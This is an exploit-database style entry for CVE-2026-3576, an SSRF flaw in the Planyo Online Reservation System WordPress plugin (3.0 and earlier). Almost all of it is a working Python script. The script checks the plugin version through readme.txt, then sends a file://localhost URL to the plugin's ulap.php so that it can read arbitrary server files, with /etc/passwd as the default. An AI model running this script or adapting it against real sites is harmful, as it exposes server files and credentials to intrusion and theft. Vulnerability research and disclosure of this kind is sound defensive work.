Planyo_Online_Reservation_System 3.0 - Arbitrary File Read via SSRF

# Exploit Title: Planyo_Online_Reservation_System  3.0 - Arbitrary File Read via SSRF
# Date: 12-07-2026
# Exploit Author: Balachandar Gowrisankar
# Vendor Homepage: https://www.planyo.com/wordpress-reservation-system/
# Software Link: https://plugins.svn.wordpress.org/planyo-online-reservation-system/tags/2.9/
# Version: <= 3.0
# Tested on: Kali GNU/Linux Rolling, Wordpress 7.0.1, Apache 2.4.68, Python 3.13.14
# CVE: CVE-2026-3576
# CVSS Score: 7.2

# Usage: python exploit.py http://127.0.0.1/wordpress/ -f /etc/passwd

import argparse
import requests
import re

def version_check(base_url):
    
    readme_url = base_url + "wp-content/plugins/planyo-online-reservation-system/readme.txt"

    response = requests.get(readme_url)
    text = response.text

    match = re.search(r"==\s*Changelog\s*==(.*)", text, re.DOTALL | re.IGNORECASE) 
    if match: 
        changelog = match.group(1)
        versions = re.findall(r"=\s*v?([A-Za-z0-9._-]+)\s*=", changelog)
        if versions:
            print("[+] Version found:", versions[-1])
            if versions[-1] in ['1.0', '1.1', '1.1.1', '1.2', '1.3', '1.5', '1.6', '1.7', '1.8', '2.3', '2.6', '2.7', '2.8', '2.9', '3.0']:
                print("[+] Target is vulnerable")
            else:
                print("[-] Target is not vulnerable. Exiting.")
                exit()
        else:
            print("[-] No versions found. Try skipping version check to see if exploit still works.")
            exit()
    else:
        print("[-] No changelog section found. Try skipping version check to see if exploit still works.") 
        exit()

def read_file(base_url, file):

    target_url = base_url + "wp-content/plugins/planyo-online-reservation-system/ulap.php?ulap_url=file://localhost" + file

    try:
        response = requests.get(target_url)
        response.raise_for_status()

        print(response.text)

    except requests.exceptions.HTTPError as e:
        print(e)

def main():
    
    parser = argparse.ArgumentParser(description="Exploit for CVE-2026-3576")

    parser.add_argument("base_url", help="Target wordpress root directory(eg: http://localhost/wordpress/)")
    parser.add_argument("-f", "--file", type=str, default="/etc/passwd", help="Location of arbitrary file on target. Default: /etc/passwd")
    parser.add_argument("-d", "--disable-check", action="store_true", help="Disable target vulnerability check. Default: False") 

    args = parser.parse_args()

    if not args.disable_check:
        print("[*] Checking if target is vulnerable...")
        version_check(args.base_url)
    
    print("\n[*] Attempting to read arbitrary file...\n")
    read_file(args.base_url, args.file)

if __name__ == "__main__":
    main()